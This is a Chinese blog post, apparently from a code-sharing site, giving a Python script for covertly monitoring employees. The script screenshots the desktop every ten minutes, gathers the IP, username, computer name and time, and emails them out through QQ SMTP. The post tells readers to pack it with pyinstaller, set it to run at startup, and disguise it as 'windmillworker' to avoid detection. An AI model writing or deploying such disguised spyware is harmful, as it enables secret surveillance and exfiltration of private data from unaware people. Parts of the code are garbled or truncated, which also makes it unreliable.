适用于公司防止摸鱼(虽然有点不道德),可使用pyinstaller工具打包,生成快捷方式,再放到
C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup 路径就可以实现开机自启动
能获取 时间, ip,用户名,计算机名
我采用的是伪装成windmillworker 不会有程序检测到
授权码获取方法:
这里以QQ邮箱为例,其他邮箱可百度
import time,os,socket,requests,smtplib
from PIL import ImageGrab
from import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
host_name = hostname()
user_name = os.getlogin()
ip = ('', timeout=1).text.strip()
def run(title,text,img):number = '发送的邮箱' # 必须和授权码的邮箱一致sender = '接收的邮箱' # 可随便填password = '授权码' # QQ邮箱申请的授权码receivers = numbercontent = MIMEText(text, _subtype="html", _charset="utf-8")msg = MIMEMultipart('related')msg.attach(content)imageFile = fr"{img}"imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)msg.attach(imageApart)msg['Subject'] = titlemsg['From'] = sendermsg['To'] = receiverstry:server = smtplib.SMTP('smtp.qq')server.login(sender, password)server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())print(f'发送成功')except smtplib.SMTPException as e:print(f'发送失败{e}')
while ab().save(r"img.png")info = f'时间:{time.strftime("%Y-%m-%d %H:%M:%S")}nip:{ip}n用户名:{user_name}n计算机名:{host_name}'run(f'{user_name}',f'{info}','img.png')os.remove('img.png')time.sleep(600) # 这里可根据需求自行设置时间
本文发布于:2024-01-28 16:34:36,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17064308818765.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |